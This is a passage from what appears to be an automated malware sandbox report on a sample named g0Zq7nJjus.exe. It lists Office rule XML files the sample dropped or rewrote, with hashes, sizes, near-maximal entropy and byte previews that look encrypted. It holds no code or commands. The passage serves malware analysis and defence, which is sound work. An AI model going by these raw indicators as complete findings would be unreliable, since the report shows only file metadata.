Preview:	<?xml.Y..6.\|..S.{.z..WI...C.....G...j...B.......&..M.>....C...[..`J.c.....?....C{.sv..k...........+FoL..Q....IWdJ.w.o.CM.2G.p..2..s.......$...$f.......c..@2k......J.I.&3\|z..w..Xr..q.$.w.6A..c>.O~h...0... ........I w..mp..\...._...?W9BJJ.wt.3.Q...>...}?! 4.'....`....I....{.%..8....\|..N.IPp)..P.5...BF..N...Vyy...h...}...8s...!.v-;.ay)/....ipN} c..y..;b..S.{...=...-..v..<.:...9.K.p.<...%..8.o.=.......O. .@.I...'...e..y..@Y$L...3C......l.V~...U.{J.s.\...1O=,..SM..W.P.D....)..wH.B=&.).BP.h.Y....Y..e....O.J.^@...........O..........i..LI...j.m........0..,.{.!..9Y.....V.n..-c?..\|.(......\........NL..pK/^`.[.....].....<...A...............6iV.8..)..1.>J.F...}......).@.X...".Q.,..p.$<.K.>......S..s..$.fq+..J__E.K...\...E..J......}%...A.\|.T...% ..h...cG.Va..`.3..z.[B.&.......b}.l.LS:.....Z.z.}.....B.i.N..T....x...Q.8...%.E1..Ng3.\.X..).[..... 3..R...#........3....h.+.*D..bTTQ.:...4:....Q#..6.Zz.:.:T..6B......#.......9....%.M..~.a.W...%mu..-I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.884365932023786
Encrypted:	false
SSDEEP:	24:joWcURCVpZDi15aj1ahDILiOmt8Y1g4GNrr8whwLsxbe21+NWoczim2bD:wUgVi15aj6W9mj1g4OH8Nn21+DczitD
MD5:	E056598D2F1294A7C94108C030E15AB3
SHA1:	E59061D4286CB42B663BE7418DB9503B5B0C27FE
SHA-256:	E2BE7FD868A5CD5F77D9672D8659F83C08CC46B9EEC2FD3EF630BF123EFFE614
SHA-512:	8D17C053EAEB2DFF9DE5001E56A2854098CA82568B70E2B41B71203DA3D3B535D5F09E79B0AD69233E2D1E4B532CF80F6BA373609EA1FEA8C41CDE7993D6D732
Malicious:	false
Preview:	<?xml7.A.9.E...?".v... ,.x".7..8.\|'.~tU..%).PO.@.\|......elv..>....@E......VSA....\|../.~..Z.@}k..R.c.z.A...J..A.C....<%...u.56..:..4K...c..Y..~U_.h.[....L.....#EMq......W...W..[.EK...3......2......a..X..z_Z..i....\6.d.h.8.[....Z...x&...e.Nl.r.........I.~M.!...........3l?.+...--l.U....zJ.t.."...p.%.T.....j$H..v2..4.....2.....Yu.`n..~D.^=..?B..[:QG\|.T......".{.}........-.m8. .'6..]...,..Y../.......]......=..G......HG............+. ..Y..V.M..pY.>V..2o@/.i.....eC..i1.....z.fr.c.6~t.1...#.`H...-t.........o%..y.N.w..~.oRD.q...~.a.Ga.#.I.....8);s..l.1?.k..DO..BIL.b._..I..P.F.O...d...........t...uf...;...<.q.~.........`\.....y.d.............;...R-a....2.0.....W.;o}.q...)8._ .}.l.J..H.u.EU9.xb)Ro.N.....~...S....g....w..~.6...T....D..s.....dQ%..^S..v..KK...t9t....0?0,...{.$,u..d..0es.<i..]...g.L..h]Y3./..T...N(Q.h].s..W.....Q-.....3.=.3......8..H.....)><....p...QA..p...%^P.....{........0..H..BE...i...i.+nC).P....E....a]....i....`Z...X}.........$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.879868059278266
Encrypted:	false
SSDEEP:	48:obvdEHqrgywVIvK3gQ0gvFLdf5WJPKC1XdHWSfs1TwD:ordIjB2S3gQ5FdfoJCmxWbA
MD5:	C2001CCAC0FCB81AAFBDC6759615B27D
SHA1:	0C6F3ABECD67597D98F75ECDCE827CBCCD0DED41
SHA-256:	77BAD613A0FB79B950AEEC9F4A103FB7AA0A9D89DE3601253F9FF4EBEA14BA20
SHA-512:	6FA728EA6F9561BC9ACE87637701F2597CBFD8C5F159A6E244E51DCAEAD934D3AFC2D9D75DF0E00FC02362C9B43DD33E27FD72D2DD4A613EB6B701C25F0E8C60
Malicious:	false
Preview:	<?xml\|S.r.W.....3..!.V...........P......),I..7....&.w......[.= F9...m....d....'.\|...M]..`K...nt.w...+0.9..u......B.w.Q...hiU.x...L.......... (7A...k.Y.......Do....Ex.n.AlO....8.Zao......{K....9....P.{Q..=...Wn..0U.!.\|...s......`.`...k...&O.D.....R&,..$.Z....\|.f{,..E...:y.@..m.K$...s.QB.'o.$&m...a#.....B.I.i.#..F:N....9;ql..(A[o...2..B.o.Q..pAU...u[.0&.....d.t.m...9a.g...i...rs..oDU.1..[...&..whT..y....K}H..........4Y....`{....X../M.a..+....)E>.7....@f:;..k../...7..&.j.<.".u.5S..Z...MB...)...J.z......-..:p.WF...C...5.s.c...........2.A_"yF. ...w./<.u..m.x..TE.h.-n.'iF./.J...g..T...j..)..G.{.>EsZ/........ZPr.`.v&\|...,O.?....0.....I.,..'.3-.q+k..9...m.d.....\.......Az..3@h.W.SyW.Y>.5}......(...q.wQ5..@^....... ..B..~......I..kp?..@l^.H.$N..?\.lU0[.um.....a...........u....N...$0.y]..]1...-..=.D@...P.....Dv...O.(..Q.....0dM..:.Y.'..+...q2'....E=f.7...g%.#..$P...U..<&.pO.v.w4.Z^}..^.......Jm..>I.......=P5.i..1......g2(.]<h...g~R.E;.-....y........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.887500140575437
Encrypted:	false
SSDEEP:	48:+VkMwGRdh2udBG6ZQPE43b1LwNThmikhshDXqL2nWkKD:FGBdtZQ3b9wTmP6mt
MD5:	DDFFBDE34D5193E4294416DA80915395
SHA1:	F775CE5120695D2878706C6C71A6305CE91B908E
SHA-256:	055072FA68952BD5414E5564F8F3D51FCBB2F5741527E4B12DEE167E449465AD
SHA-512:	A8BC199854243864581C6828F7BDA51CD5855681BF34DA09D0B3E9B19C5D8313C5934564413BA647BC06B393C5422FAC2C8F09B673B6499FBA4E1A69CA626D79
Malicious:	false
Preview:	<?xml33....l;...W@.....`.....p..Z.E ._w>.P....b.<6......R.7._.........+&.wT..>.[~.....H.:..6.je.F1u.u.K.9N....w.....2......B...@}..>.2/}.o.^....x...[..E.O..Q."0..0....S..m_.}.oB.\|...._p..W...f.....!....\|.t.]i..Li...G...NO"..,P./...{.\6{...y4.4.F....9.t......F.5...N1m..9?...I....O..j..2.&$......? .q;.._..`Zk.C..<......h.E^.nq70.J.."..u...a.....o6.F..=.w.?}..`.dG..+..X..U...Z.....sq=T..,..n((.. .s..NM...P.......\|{]......x.#..\....W...j"...vs..a.O.\.....B......o..[...r'.f.p.)..C....Q$\|.nt..5._..lw...j[.mv...k6.%d....dE.^0..a.y;w....r..k.\|..3....).=.n..D.).$+....R.y.H.m...D?.....^..._..&G.L.#.M..a....o..D.,J.....by7+.H......\#:...w.l.7.a.?...'Q......'..d.....m..._;..aps...@p2....L..k.(......;..@....d.@$\|..'.Ka..Keed.?..z..2%.....+W.......?);rm....I.P.$.d....P.....T$.~.._...k.Fe9...&c.M...%.i..W..Ji.Q.Z.(.}...k5w.!`.i...mpk.hJE...E..<..%m.....".......S.$?......G....-....c........Q.....4.4....)..r.F..q=.o?.n.f.F.k.B.ns.j.....6...a...d..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.881589045995368
Encrypted:	false
SSDEEP:	48:nVlJncvsEGnb/1ZlDY52eJ8Da0Spm+L0XrRFBMD:nVGsDnb/NEJu4pmLVFBo
MD5:	A1CA77DFEC2FB197E96E826B8788764E
SHA1:	49FDEAB48478D27815411B27C3A2BA63E24C6674
SHA-256:	7BDDCD75E80FE92C00EEB067066619F8220B613DD163B08E7B2A120DEAB39E73
SHA-512:	D2812B1FB37D8CF37E67B1BA0104677CDA7AC24261E00C89D31DE3FFD93255E9EE80CA4C3EEA565AC258284C38D09147A03DFE1B6BE4009A5255F9631F1E7E0B
Malicious:	false
Preview:	<?xml:......TP.....H.?Q.WPo..GF...#...3S..9"W...F.g..@.A...0.[..0.....G'$.........<y/20..N......i......7.=X...+.zI(".5...K....B=...`....g..\|0..}...B.e.V.].?\._...5w...}-Vf.1z..i..nP.3....*.....Zq......g..7._c8...B...SI%..ps....j....8....k.U.....'.H7..l .`]..X..V.r......fu.,..8..~.R.3....jjP....o:.&....Q.F.R......L?..}F...K..z....T{...-..j..F.]..I..~u...:.`.....}ySp...t.A......0W.........g...U.)v7a._$.L..a'..80.+v......z..r.[2..P(...%...".0Qf..g.a=I.......N....-=...!^..wO...;..x2"G;!...L.r.....&..S...NS....Q.:...Be+.k.NYV....7W.......o.4_.S.[.,...,.."..qs{....0Gj.Y.5kp...s.\|..O4..Pf ..{S.`T#Z&a6.\.#...j.^Tm..i.......a.d...iD.....3..J?.6@.s.%.1..yZ..`EO.6.&.m9..J...qj.,C...'+.....G...$+.4....c7o..Q..5.......$......c'Qq..o...@...;.jSW.I.t\..Q....w..a.\|.\|&....V..,..g.Xj.F0....,Wu....OZ$.(##r8.r...9m....Q...g.1!..)$kc12@xm..A...IPV......8.wS{....%)'. \|A.'%~..N...lJ.D`i..[c.....i.......=1..t.5.A.\|..a.....;>o.F~W....u.UW 9n......k..~......M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.89343594186148
Encrypted:	false
SSDEEP:	48:oTs3nglIbaDaaz3OCbum2JYBnnwzNRcSD:oAWIKrOCSrJYBa
MD5:	A11BDA49D410040F12FEBFA0E99A0B5A
SHA1:	1711BD267E3CCFB70BFAA68061CC6E27D8C16B00
SHA-256:	B05707689904894C6AED19281AA0C1AD5D2D6015E14923856D5F63D80C2B3D94
SHA-512:	2654153D58B99F442E26E842B70CC4C837042E86BE354E3E6DF95A6D76B848653663561134F30BFA88DF01E87BB64B69012C74B5A23AD3989C3814E63E5F8B0F
Malicious:	false
Preview:	<?xml.o_..U..h.^"+...s...i.-l....~.....i?...%...Gc.H.- ...91..=1z.N=.r....m..Ql).<7...... .,..".O\1....:..Te.7.[..6.?....Q...B...w.z.J....O%..d.D\...,.....>.....<...Km..F [.1.!..sk#..5{jG....sr.".\\|-......, `.e-M.'..E:..../..\|.l.I.....R.....g.V..">f.R.[9'.p[..@.].:.?i...;lT.O.....@..#..2l...dw`.I....v/./ ..i...zE.s\.e..R/....wW0/....b.5WE..:..{.v.........`.k63.x.8...`.x.....Q...a.;..:.s..2.s...............L,._^9Y........r.0z.`].}..H.o...7.G...T.."..n....o....&.h.\..}E....~6....4m..Et.......:#.D.;bX..ur....m.~QB... ..._..Q]Y.:......]..z....~...a........W.....{k\.8V.\..Gu........8.....E5..D.....FG.!.o...1..yZ.N.......QU+...l.wgy......~.9..L..".U..;...^B.G.+......".~=.!..IY......}....)P./^T......_."e\.F..gJyn..,$.>.....x`.....Y.n.8..6jW..y@7$S.(.I6E,...$.Qn(.>......*...sS..6.$.\|...$?;.[9A..1..C.......HI.).......o/..j98}.C#.\|.....\\0;.q^..Q...[..I.....C.K..>.qK.]Z.'Nq...(].Q'.zP..]X..:[c....0J......fd.e.e1].5.?...@v....j...9.o.dX.O.E5..s6\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.898356574597147
Encrypted:	false
SSDEEP:	48:+PKJhvBN4RiYcd6tlI3G01Kwn/liKgYg7o69MoLD:+P2hvwsr3f1KOZgry8
MD5:	FF43B09EA9064A495EA564062993BD31
SHA1:	D078A688F9784C549F7C552C96AD28EB69DAF737
SHA-256:	D312EB79FC3F6B5CAD14408DC18A6CCEDB40FB15D94B4F768760AE679AE3DAF3
SHA-512:	93DA04987A66E45343B06E18E8D0BDBAC0EE0CEFB855634EAC2635B82CCAB0EF7A431B43150EF4DAC7D951C79E85B63E41A7DE0369EBBD33480D79DE6D558533
Malicious:	false
Preview:	<?xmlj.\|.S..N.)\|..(.i".Mb.X..Tv..5.=.).(.S.....v:.g\|.?....}..8...~.Q.K...V..~X.^.._gN.7?.x........M...l.}U...[7%.kJd.R.{w.l...NU...f.....{..UmbX_,..r.V.\|./c#/$.q.,6.k%..(.......>..a.".\..ik.}....:..Ae.x+b.<.[......ER4.Z...F\8...T...np.p.K..pJg...L./.P....~3.X%....X..I..<.^..!....F..P.I.9.....V..,...dG.l%B.[.X...,(F..$-%.:.w7$C..jjT..W?67S.."<S...F..Kc]...G:...~...P.;...^._..^.A..b7.1..@......XF%...6....Eac....0.C..F..xT..%.....l.+cD.c.V...feH..^....&..+!lU.9d.6...q.b..;?....N.)...F...t..q....s+=..-.V8_........X..<.....j...?\....R...RW.&....D....i..U.e..#.o..=.7........a5f.....q.{.Ok..J.n."!...X;.....]9.2}..'H.:.....Y.M...).d.LS>B.6T7..I.......2.fP...........z.:...O....5...4y..k.h~w......(....fN.../......&.......\|$Q...^Yrr%D.Z.p..%"...:.k...6...0.......#...p..0...S.9{.xrJ..g).u..(y...p...U....H.oXs..M1Y.`Y.....]...St..?y...?.28D:p.;..C...g.{r.&.,,.d.8'4..'../. i^Y.>J.(.5..b.w..f\.+0.1.........4h\.......n.b. `..J..w+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.888787084245383
Encrypted:	false
SSDEEP:	48:2CkHxdZkES4N7JepsAEvSOKuJHXInu+wcllMkBD:2CkHGESyNIETJ37+Dl7p
MD5:	6A6CBD7A9F5584AD040B157D4937E3A6
SHA1:	1FAF133412998CAFCFCD6EA7EA95005131363CC7
SHA-256:	705019B474B6DA04319795BFFCDA7CD4C130794F25E5421CA435757D0AF35EC4
SHA-512:	A9C9BE22D0E57AF07DEFCF84D15C4555DDAF9E4D79280DCB68A1B2692418DDFEFBE477FC90465E73689048BA45346FE7BEE9493605E6BE99D357CDFB99F7E663
Malicious:	false
Preview:	<?xml..w.S7...(...X..#....}.,.UP.;..GL#-cHw%.\|....9.......o.".._.... ....v..x`..@.._..w..H..OZ..A.qf..[..c..=j..f.Qqp.g.Y...s.p....W..C./>>.4m.Au..$u../$\O).]..........A...lUcT,.@...../-.....#..@.g..{...jR..."i..,..n.K..[..bf^...{...Ji<_........<..^.....qo...vdY....7&.SU..1..q.BC.Z_...v.&.Q_.?F.$x..$...E.Z......SdW.9.U2..v.K....l.},]..a.Hv..8D....Z..0....v.....W..N..VYS...o..../{.9.:Y...l...q...?........(.....n]..pI.. ...d.......O:.@....f.jZj..t.&8......8$2...CJ..... ../.4.v..h.w+...g...pU...{M..g..3..>]/x.8..g.F0~..Y.O.../.q..Ppz.?.B.w.;e.h".....l.s.I...3i..,=.._X......)....@@.............I.Lj3.....vY.Nl...r.y..:!..4.......I...~O .."..n.&"..(X-E. ......(.LZ{.Vjs..1.)C..@..'.W...#\H...H..b.. G..y1O........./.E.vb.^5.......$.3..B..I.r..B. L.U....+...d0.A.U.S...5!.9..L.yZ..Q.Y...Vk.h(s.~...=)s........."Oi..u.^.,....Hd.......E....j.V=o..k...L..<QV.D.!]..+\|...P..$...g..<j.0.B.xd..".i.........?.......b>[;...{..g..v...\.[[..F..q.=Cj...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.872664266279549
Encrypted:	false
SSDEEP:	24:xGtzLrSy0Jhms/RUPRNmHH79iUaq2SrYpCYdTlDBfRrEpZVcsnR/aYd/UEpqlEZH:xGtznSdJ/Rp7sUaHlf5+CeUEpqyrD
MD5:	01D2CF940DAAF637FF3FC9A93A39C265
SHA1:	BFA8FB1CB87B72A6C6EB0B1B2E2F0359A571F675
SHA-256:	69CB5CE36E149C0C24A5DEB144BF83C38210BECD2052C749EBB2A8F58760944C
SHA-512:	5C81451182B44D428CF4075F744DBF65783790B5247DCAE20CE4E1FF959F1F3A9AD3F526C116D2774EF70BACECF197DB4033C797CCD1BB51B028C99E01F4F6CF
Malicious:	false
Preview:	<?xmlQ.....#....Q.i..../...k.g.}2g9.:.R..Nd....g.../..PZ4).@.......IWa8M...w.......8R............lj.=..(.7 .<...L....\|.2.g%....z.n... ...n...&.t..5$R]'8...e...=..#.....<.E.2.$..^F.[_.d{.f.#-./}....sv.....U'..mmjy...c=....?.S]<y^.+~..GK....J.n.3..!.T.qR\|.ju..di2...H..?c...x.}.k)...m.PF..5.l..lm\.vPyX......-........j.......v.\S&.D.."1.l.l.X...Y.\.....ku..`....<.7.V.q.;.H.e...x.......7'\|.H..zvL\.\|.\| .e...71.[8.2@..M......ia.O..b_.r......y ........XfY.[.^B.5..p.s..........P`LvF...[.;.h&..O@. :.I..r!...5....>..Ug...E.\|[...p.X..[-.Bg6.....}...\|[.df..5...x..'..&......C<...F..v.7....H*.....+V..@.....t.n.X.U...-.8.....^.7..d.....1.E..z.......}............W.w..+.}....a..G.W.@..td9..9@E.......... i....9(.H..2M.w5..GG..9T.`....g..Y&FY.z..R.t....}Pj.4."+k\~BN=...B2MH."{{7.lw...m`...U.4..RO........n.8.]..t6..4.w.PB.N...M...LX'.Z.N.w...D."l^.....e...Z.L...p.........v&..r.M...T,L)........;2+......L..v...zl..Fa...qR......FK.n.E...\..........b....{.ja...N...y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8760442339949295
Encrypted:	false
SSDEEP:	48:cSVsLdmetZKD+IOFI/PnWhHVELZB8dED5qSSxutpD:hsLdv6KIO6HnW9Iv54xur
MD5:	161C4C1D2D3546CA44F99EF03EDC6454
SHA1:	DC62D5FFE023B5410C946FBA9429F61BC908236D
SHA-256:	6653E46600B3482C8E6A216FE8A90FA8AAE6F81400CC40549F1F9AC307CA095C
SHA-512:	489031EE6905C2856FD8827B050FE1372DE90131B9FDC237ADBB963453EF4862E906CDF1C3B3369142615DD560464DD12A2EF204B2D173FEF158BA1EE75A94D3
Malicious:	false
Preview:	<?xmlB/.g..A.6....._.......#.}6(.....Hm.k.2.Q.A#.....q..;g$:..i.R...DDr..]..a`t....7...X.B..O.....m'>..=..]-..g.P?...[...P.;.v...M..6.0..............d..e....qy..-._.....I..!z......CU:#...]WinS....f.(.gY6v6....L-.._.c...M......A..y).!r6.ar&;....Y./.q.R/.K[.Ca1n.T.0...@.>..E....b..]..M_]..\...Sx8.x..iQ.........>9.\|6...Mu..#(.i...:!C..+....Y....^A.B.i..._R..\|....>.f....B..c.@...j.....h.c.......P,....P.h.e....9/..N.."....\........Di..]^...F....../#.p."y.~....0..cK.ib.....h<...c..?[..._.Jt0}.>.7+.?j.(.....v..K0...AI-..{...m.i...`,h.M#.%.{Z....BB.R....M..!5...Q.N.....Uo..aT..X.3.^.C&P..\.H.#"#(f...o.C.....Qh..`...5.,{...{j`l]tLS...k.j..2s..v..e.5.q.,..l.R...B..).u...e.L.0..G..Ev..n\HSI:r..s:..m.<...e..\1."O..+...=Vl.f...v.Uz.....xn.2..Y>...-..w...v...._..E<I.7L....(.#.8. T\.....Q.X....(-XF...X.mx..39uZ..4..\|Q..QD..w..]I.u.o..-x.....>..(..E.........-nR.G..;....1.....h.k..b....G..X`q.i..........jm.$Yeg&..]w._..q. .....,.,d.cc..6.+........'o.*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8981068619937735
Encrypted:	false
SSDEEP:	48:mxZfUinKo5EJje00Vscf/QSeXdlickiwDjL1Pz/NXs1xiikPD:mxZMicJAtQbNQcmH1TN87ib
MD5:	530EFC1623089D711C3394AA142CB845
SHA1:	D1F6233004201625907B1624FE6A3A6D3070282C
SHA-256:	52E5F3FE08B3D4729A95A1C9387A7CDF77BC22E7447F5E981620987AAF86FAB4
SHA-512:	32D5D0FAFEF87AECE8151DE8153F736AC1D4E7246E1B547E172BB900ED2D19C3FAB619FA83FC3AED9CEE2D66B9369B0DC60B0B3A3887CDECBD8B81AA48D260E5
Malicious:	false
Preview:	<?xml..7@.R...UC..{...^0.K6...R.`./2...,..?.(.nq...N....B{......6.ea<..............}a..;.R......V{h...vl.....awyu$...J.....@....=tOL.....#.7....'......=O(;...!..:...:....s.8..#fi.u._!...........k.G....`V`'\..H...w..]{Z...'o.t.2..u....t....sO..X0..c0.g_.$.Q./T.$..!..I....vj}m;..g.+<o..zR.tv.Z.(......WV.\|..q.V9.......+..r...N.<.......C:Q.............RR.M..1d.3O.$....w.R..].y..=\|...?.$.8...7Y.E.5.L(.....b.S............h..`.........4..k.E3g..'.........`.B...........~...E.Z.t@.n";F.....'.S..`.(.y...B..K..L.....e..H.l.....f1].q..;..{..yMD...Ic..v..H.......{.h..A..^..h&.....%w..NF.......0.{.....~j..D6...om.m.....,l..3m...w+.lb..4...T.Y....O..........b.V^b..?.k..N>D.W.v.St......`.t...k...J...+!A?....g.y....;....a\h9...C}@.....d.zf..A .'..E....VO..N..O....'u....B..5v..3Q.9mp.......d.;.]..X\...W.......@,......E.K.wh........B.S..I.....{...T.,..N...#......r/......v...3......-]..o.~CS`.A.(.un.c.].W....!.`..L.(u.... :....#`.#....M.Y~.c4t..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.88600225677142
Encrypted:	false
SSDEEP:	48:S+1aadFNydzc4PxtbvsSEEWg+TUOnZ7JnXBPPD:S+1a+Fcdz/PrREzgyJnXBz
MD5:	0190F2C32263CD9AA2444DD2EAA2DB1C
SHA1:	444D6D163A1573CD07F5CADF0D43A7AF09C82856
SHA-256:	8706FE00252F8CC0AD25CDB057FB5CF234543028F8A38BF64E35B2B2428FF907
SHA-512:	16C47EAF0E39C29457E1A493369863A90EDB63A4FC51CE3EAAE395F9404F93BAC3C941C643D1902EE40D6A8B4F49EA26B159EDCFACB0794B50065800A36CCEEE
Malicious:	false
Preview:	<?xml....b/E.vn6...h.-i..{....W.hS:.......7..w).q{j.\%.............t.=..);x.B..t.jx..@.....z.[.v..P~......tH....K.GUsE.4........?e.X.5M...OSjnX.Ge...]........~jy+.7...`6..-.5W..o..u.(.6.IG...e....u....ed.V..j......7.....?.S.&{Y.GCD.....fb...%[.C...,....D...=.A>4.HsB..?....Y...M...B.q+..u../.1.{7.^d.'....{....Gs0e.J~.n. Z......o.+ ...\...n.np2....y5.i.;.. ..wjT.G_.h...../......=t.L...:.'H.....a....O@4....^Gt...\|.+=...f....y...=../O..W-.$..;.V.i..q\..C.e...V,D..$/...../.`#.\|..x.z.D..~......s`M...,..x.]lNU.x.is.!.$l....!G.......T.....:.&.. ..n;1..n(J9VQ..S.."...4.._n.Z.....N.e-....,%\|................^;~eI.m..i.+..?j.Av...Q....4j...o.5.LC.,.:.D........, n...\|.1OS.L..np..#.%e....?.tZ.K.9.n&Q...9....s.Qs9.cd..$+..{...A.;Vr.b.\.c.1....Gk...C..Kd...Vs..U.7..\...5..............0)v...b.CZB....T.......\.iA.vY..+[.......g..\].._V.H.{q..U;..!8<.[.'<...&..F..HNF.J....^.,.[<.]0..h.w...:o...}CY.w.uL>5.4@+B.c0.....)..+....&H.S+p.j....<.8g.>.....p.......Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.868866398660659
Encrypted:	false
SSDEEP:	48:CkQ5J/4u2QMzydk0RMetrIvDRiK0H8dwKD:NQ3/4n3OOyZIvQh8KC
MD5:	EC679550615FB6A56FAB586586197B01
SHA1:	79584F2CF5AF978EA312ED9D109B4E5EE9E96E1E
SHA-256:	E172F7F5BB957CE86FB52CB9991EB5BA607ED11B6FD9BF28783C12AEE529D25A
SHA-512:	CDE0A6A8E495DFF08D1D589B09F5CB17D17271C5BCB9C038E5BFE3EF6BD524ABEA486FD6D3F4F4A6A8664D5B9A7710BBDFCDC5095509A3891A2A93779E4CF165
Malicious:	false
Preview:	<?xmlrU5.gr..F.t{.)...:Wf.7.9.V.J.I..6.]..\|.R.Dh.}.Sza...v4..tK.........%.zu...9c....[.Si.z.Bei.$K...}.Q...w.GuP5..iC.....S..x...\....XRD8J.c..d.....Y.K.(..j..E..9.......].p\|...t[....O6pNg..m..;..n..I.......P.(K.."t4.H\m......H.......e...XGq..C.._..YC<>3..8......t2..?.vO\|w.D.<.O.3..I...;...AL.K.e.....$....Cd}..o.}..{..'?U.0@...h.N.......y.u.Y..\.........q.7E.`~........b.[9.T...g..m..o....&..j..;.CM..Z...?.[.......r!21............O.^...N.C....D.(.s.%FH..2!....1.;.../...O..Cg....Z.X.oI..?.'S......qD..<}.....v......W9B....Z..../>..w:]EC...?............:....<.c-....L.5'.0.h...I.i{f..l84....D0.....2...Yr..8=Jz....Er..'+.....t........Kziku..E.=..1UW..Y.z.....}....:O{Y...7.s\|F...XZ....9oX...ax.O...1u/.^>..<.....t........U\|..,.f...\|N.!.Z.Z$...0..5.l.\.z<...Ld...tM`...".P2.y;A.F].?A..J..J..sp...f..^.a..K.ff.(.-..K~.?F.0....9$<.`Wg.(N..].Z/.d.q..J.~..$.B....$R....B.B......].....$..1z....?..+.[..iq...-+..C...g...S/...TH..{..Iv...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.881687155439637
Encrypted:	false
SSDEEP:	48:oTLma1R+d9WIIwYvzg5/dRcpRmUibB0SCDrD:8noAIPYv82pRmjJ0H
MD5:	DF4118B01C1B6EF9EB053A227FB89797
SHA1:	D3F6EB5739F9C4CB85032D3D5D4985E5E23F5C51
SHA-256:	C30EA1119DDE96F4CCCDE3FA53DF6B871DB8A6E2D65B30C8D8D17CA09A278548
SHA-512:	F86D6A656477A1932B0A8F7BF60ED49B92FDB504DF3B2C7057E9314DB9B055BE01DF41B42667B431A3D92A6B184861BD3C20ED70F344441F483C3CD108C86ED5
Malicious:	false
Preview:	<?xmlf.L.}.L......K.X......:...'J....j.d..~.....wT.;..n.e6..3..0mm...k..2.rXtN...E0".C.f...zU.V...>....L..+.R.D.P.........Q...5...E9[.K..cM.@.....Fa..k..K..]......D.zS.>}-f....Y.7.....7.i.y.:..cm...8.J...\|...v9.#^F...VoN?..}..2..]~.....6.....M.4...1f.`..qT...#.5&...."..r....X8v\|~.-.B.m_}..6b..>...v.......i......X.d.,..[.H.....A....<..$9.u........D.e._C..`.........^.K.Ep...".R.C.8....w.....v0R..D....s.=...Q.Wpv...5....26h..E.......B......._...(....<..pLE.dn........Az.4Z.!D...9..Y.._.-t.?@@X.....zM...xo2{Nf..kn..../....M^.....cM.....g......V;x+...2..V..+....-,eK.e.P,....8W.U..@...A.n9...A...Q..l...A.....H..F..\...q....i...}Y...Oy;..)5.)......@+0....j)&.&&b.$u:a=..fM......<..,k..w..gJ..&7.{.7`L....J.....O...J..3.....!.....7..M%.xYJf...a..$..n2.J!..;...^...u.Y.... ;...$.`W..f.....]n..yG..&.U.J..5.n.......P4.@].M...Yu..z.../..6....kE..B..~....Vn.F.).....[f.m.WuH.>.jh...Z.......h..m.)*.:7.D6...^..;....xT...B.................d)1...$.co....QR.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.901961476072444
Encrypted:	false
SSDEEP:	48:nhjHYVTm6uFBnGuTUt3xGQVoquw6y3MaD:ITmnGuwySN
MD5:	8D01E9841C15E8A98020B672C7A0422B
SHA1:	B4EBF5BE658B64573F5B70AEC44C07AF6725406C
SHA-256:	BCD8099E4E9ED119E4A5878F3B369B7EE4BC77E91F5CA986178E6338D69DF953
SHA-512:	81BC01D4DE5CD6C7262038B3A6647F998D4DC10C150D3B3AF5C4BD80205A555641FDDDA47DCAD71D5F8D82AE1B452B59F1789C6131CA3C7A0F54600A6B02035D
Malicious:	false
